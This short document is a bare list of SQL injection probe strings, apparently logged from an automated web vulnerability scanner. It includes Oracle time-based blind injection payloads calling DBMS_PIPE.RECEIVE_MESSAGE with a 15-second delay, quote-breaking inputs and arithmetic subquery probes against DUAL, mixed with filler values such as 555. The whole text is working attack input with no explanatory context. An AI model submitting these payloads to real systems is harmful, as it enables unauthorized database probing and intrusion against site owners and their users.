555

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

1

1'"

@@tCVN9

(select 198766*667891)

(select 198766*667891 from DUAL)